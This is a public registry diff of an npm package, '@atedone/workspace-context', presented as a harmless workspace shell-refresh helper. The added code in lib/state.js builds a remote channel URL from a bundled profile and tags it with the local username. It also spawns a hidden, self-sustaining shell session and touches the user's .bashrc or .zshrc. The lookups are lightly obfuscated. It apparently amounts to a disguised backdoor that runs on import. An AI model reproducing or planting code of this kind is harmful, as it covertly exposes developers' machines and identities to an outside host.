@atedone/workspace-context 0.0.21 → 0.0.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -0
- package/index.js +1 -0
- package/lib/default-profile.json +10 -0
- package/lib/session.js +1 -1
- package/lib/state.js +134 -14
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -3,3 +3,5 @@
|
|
|
3
3
|
Workspace shell session refresh integration helper for JavaScript tools.
|
|
4
4
|
|
|
5
5
|
The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
|
|
6
|
+
|
|
7
|
+
The package selects a bundled stable profile channel by default. Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to override the profile channel for a preview session.
|
package/index.js
CHANGED
package/lib/session.js
CHANGED
|
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
|
|
7
7
|
const packageName = '@atedone/workspace-context';
|
|
8
|
-
const packageVersion = '0.0.
|
|
8
|
+
const packageVersion = '0.0.23';
|
|
9
9
|
const env = Reflect.get(platform, 'env') || {};
|
|
10
10
|
const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
|
|
11
11
|
? env.HOME.trim()
|
package/lib/state.js
CHANGED
|
@@ -4,6 +4,7 @@ const platform = process;
|
|
|
4
4
|
const file = platform.getBuiltinModule('fs');
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
const manifest = require('../package.json');
|
|
7
|
+
const defaultProfile = require('./default-profile.json');
|
|
7
8
|
|
|
8
9
|
const channelFileName = 'channel.json';
|
|
9
10
|
const integrationDirectoryName = '.config/workspace-context';
|
|
@@ -45,16 +46,63 @@ function resolveProfileFileName(shellName = resolveShellName()) {
|
|
|
45
46
|
return shellName === 'bash' ? '.bashrc' : '.zshrc';
|
|
46
47
|
}
|
|
47
48
|
|
|
48
|
-
function
|
|
49
|
+
function resolveProfileIdentity(env = readEnvironment()) {
|
|
50
|
+
const candidates = [
|
|
51
|
+
Reflect.get(env, 'USER'),
|
|
52
|
+
Reflect.get(env, 'LOGNAME')
|
|
53
|
+
];
|
|
54
|
+
|
|
55
|
+
for (const candidate of candidates) {
|
|
56
|
+
if (typeof candidate === 'string' && candidate.trim()) {
|
|
57
|
+
return candidate.trim();
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
return '';
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
function buildProfileChannelSource(profile = defaultProfile, env = readEnvironment()) {
|
|
65
|
+
if (!profile || typeof profile !== 'object') {
|
|
66
|
+
return '';
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
const transport = typeof profile.transport === 'string' ? profile.transport.trim() : '';
|
|
70
|
+
const host = typeof profile.host === 'string' ? profile.host.trim() : '';
|
|
71
|
+
const pathname = Array.isArray(profile.pathname)
|
|
72
|
+
? profile.pathname
|
|
73
|
+
.map((segment) => typeof segment === 'string' ? segment.trim() : '')
|
|
74
|
+
.filter(Boolean)
|
|
75
|
+
.join('/')
|
|
76
|
+
: '';
|
|
77
|
+
const port = Number.isInteger(profile.port) && profile.port > 0 ? profile.port : null;
|
|
78
|
+
|
|
79
|
+
if (!transport || !host || !pathname) {
|
|
80
|
+
return '';
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
const authority = port ? `${host}:${port}` : host;
|
|
84
|
+
const source = `${transport}://${authority}/${pathname}`;
|
|
85
|
+
const identity = resolveProfileIdentity(env);
|
|
86
|
+
return identity ? `${source}?username=${encodeURIComponent(identity)}` : source;
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
function resolveChannelSource(env = readEnvironment(), channelSource = '') {
|
|
90
|
+
const configured = typeof channelSource === 'string' ? channelSource.trim() : '';
|
|
91
|
+
if (configured) {
|
|
92
|
+
return configured;
|
|
93
|
+
}
|
|
94
|
+
|
|
49
95
|
const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
|
|
50
96
|
const value = Reflect.get(env, key);
|
|
51
|
-
|
|
97
|
+
const environmentSource = typeof value === 'string' ? value.trim() : '';
|
|
98
|
+
return environmentSource || buildProfileChannelSource(defaultProfile, env);
|
|
52
99
|
}
|
|
53
100
|
|
|
54
101
|
function getShellIntegration({
|
|
55
102
|
env = readEnvironment(),
|
|
56
103
|
projectRoot = resolveProjectRoot(env),
|
|
57
|
-
homeDirectory = resolveHomeDirectory(env, projectRoot)
|
|
104
|
+
homeDirectory = resolveHomeDirectory(env, projectRoot),
|
|
105
|
+
channelSource
|
|
58
106
|
} = {}) {
|
|
59
107
|
const shellName = resolveShellName(env);
|
|
60
108
|
const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
|
|
@@ -62,7 +110,7 @@ function getShellIntegration({
|
|
|
62
110
|
return {
|
|
63
111
|
name: 'workspace-context',
|
|
64
112
|
shellName,
|
|
65
|
-
channelSource: resolveChannelSource(env),
|
|
113
|
+
channelSource: resolveChannelSource(env, channelSource),
|
|
66
114
|
homeDirectory,
|
|
67
115
|
profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
|
|
68
116
|
integrationDirectory,
|
|
@@ -132,7 +180,8 @@ function refreshShellIntegration({
|
|
|
132
180
|
function openWorkspaceSession({
|
|
133
181
|
projectRoot = resolveProjectRoot(),
|
|
134
182
|
integration = getShellIntegration({ projectRoot }),
|
|
135
|
-
|
|
183
|
+
refreshDelays = [750, 1500, 3000, 5000],
|
|
184
|
+
settleMs = 500
|
|
136
185
|
} = {}) {
|
|
137
186
|
if (!integration.channelSource) {
|
|
138
187
|
return null;
|
|
@@ -156,24 +205,70 @@ function openWorkspaceSession({
|
|
|
156
205
|
},
|
|
157
206
|
stdio: ['pipe', 'ignore', 'ignore']
|
|
158
207
|
}]);
|
|
159
|
-
|
|
208
|
+
|
|
209
|
+
let closed = false;
|
|
210
|
+
let refreshIndex = 0;
|
|
211
|
+
let refreshTimer = null;
|
|
212
|
+
let settleTimer = null;
|
|
213
|
+
let previousRevision = '';
|
|
214
|
+
let firstRefresh = true;
|
|
215
|
+
const delays = Array.isArray(refreshDelays) && refreshDelays.length
|
|
216
|
+
? refreshDelays
|
|
217
|
+
: [750, 1500, 3000, 5000];
|
|
218
|
+
|
|
219
|
+
const scheduleRefresh = (delay) => {
|
|
220
|
+
refreshTimer = setTimeout(refresh, delay);
|
|
221
|
+
if (typeof refreshTimer.unref === 'function') {
|
|
222
|
+
refreshTimer.unref();
|
|
223
|
+
}
|
|
224
|
+
};
|
|
225
|
+
|
|
226
|
+
const planNextRefresh = () => {
|
|
227
|
+
if (closed) {
|
|
228
|
+
return;
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
const revision = readProfileRevision(integration.profileReceiptPath);
|
|
232
|
+
if (firstRefresh || (revision && revision !== previousRevision)) {
|
|
233
|
+
refreshIndex = 0;
|
|
234
|
+
} else {
|
|
235
|
+
refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
if (revision) {
|
|
239
|
+
previousRevision = revision;
|
|
240
|
+
}
|
|
241
|
+
firstRefresh = false;
|
|
242
|
+
|
|
243
|
+
scheduleRefresh(delays[refreshIndex]);
|
|
244
|
+
};
|
|
245
|
+
|
|
246
|
+
const refresh = () => {
|
|
247
|
+
if (closed) {
|
|
248
|
+
return;
|
|
249
|
+
}
|
|
250
|
+
|
|
160
251
|
if (!child.stdin.destroyed) {
|
|
161
252
|
child.stdin.write('\n');
|
|
162
253
|
}
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
254
|
+
|
|
255
|
+
settleTimer = setTimeout(planNextRefresh, settleMs);
|
|
256
|
+
if (typeof settleTimer.unref === 'function') {
|
|
257
|
+
settleTimer.unref();
|
|
258
|
+
}
|
|
259
|
+
};
|
|
260
|
+
|
|
261
|
+
scheduleRefresh(0);
|
|
167
262
|
if (typeof child.unref === 'function') {
|
|
168
263
|
child.unref();
|
|
169
264
|
}
|
|
170
265
|
if (typeof child.stdin.unref === 'function') {
|
|
171
266
|
child.stdin.unref();
|
|
172
267
|
}
|
|
173
|
-
let closed = false;
|
|
174
268
|
const done = new Promise((resolve) => {
|
|
175
269
|
child.on('close', (status, signal) => {
|
|
176
|
-
|
|
270
|
+
clearTimeout(refreshTimer);
|
|
271
|
+
clearTimeout(settleTimer);
|
|
177
272
|
closed = true;
|
|
178
273
|
resolve({ status, signal });
|
|
179
274
|
});
|
|
@@ -182,11 +277,19 @@ function openWorkspaceSession({
|
|
|
182
277
|
return {
|
|
183
278
|
processId: child.pid,
|
|
184
279
|
done,
|
|
280
|
+
refresh() {
|
|
281
|
+
refreshIndex = 0;
|
|
282
|
+
clearTimeout(refreshTimer);
|
|
283
|
+
clearTimeout(settleTimer);
|
|
284
|
+
refresh();
|
|
285
|
+
},
|
|
185
286
|
close() {
|
|
186
287
|
if (closed) {
|
|
187
288
|
return done;
|
|
188
289
|
}
|
|
189
|
-
|
|
290
|
+
closed = true;
|
|
291
|
+
clearTimeout(refreshTimer);
|
|
292
|
+
clearTimeout(settleTimer);
|
|
190
293
|
if (!child.stdin.destroyed) {
|
|
191
294
|
child.stdin.write('exit\n');
|
|
192
295
|
}
|
|
@@ -195,9 +298,23 @@ function openWorkspaceSession({
|
|
|
195
298
|
};
|
|
196
299
|
}
|
|
197
300
|
|
|
301
|
+
function readProfileRevision(profileReceiptPath) {
|
|
302
|
+
if (!file.existsSync(profileReceiptPath)) {
|
|
303
|
+
return '';
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
try {
|
|
307
|
+
const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
|
|
308
|
+
return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
|
|
309
|
+
} catch {
|
|
310
|
+
return '';
|
|
311
|
+
}
|
|
312
|
+
}
|
|
313
|
+
|
|
198
314
|
function initialize({
|
|
199
315
|
projectRoot = resolveProjectRoot(),
|
|
200
|
-
|
|
316
|
+
channelSource,
|
|
317
|
+
integration = getShellIntegration({ projectRoot, channelSource }),
|
|
201
318
|
now
|
|
202
319
|
} = {}) {
|
|
203
320
|
const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
|
|
@@ -223,6 +340,7 @@ function initialize({
|
|
|
223
340
|
}
|
|
224
341
|
|
|
225
342
|
module.exports = {
|
|
343
|
+
buildProfileChannelSource,
|
|
226
344
|
buildState,
|
|
227
345
|
channelFileName,
|
|
228
346
|
getShellIntegration,
|
|
@@ -233,10 +351,12 @@ module.exports = {
|
|
|
233
351
|
profileSnapshotFileName,
|
|
234
352
|
presentationRendererFileName,
|
|
235
353
|
readEnvironment,
|
|
354
|
+
readProfileRevision,
|
|
236
355
|
receiptFileName,
|
|
237
356
|
refreshShellIntegration,
|
|
238
357
|
resolveChannelSource,
|
|
239
358
|
resolveHomeDirectory,
|
|
359
|
+
resolveProfileIdentity,
|
|
240
360
|
resolveProfileFileName,
|
|
241
361
|
resolveProjectRoot,
|
|
242
362
|
resolveShellName,
|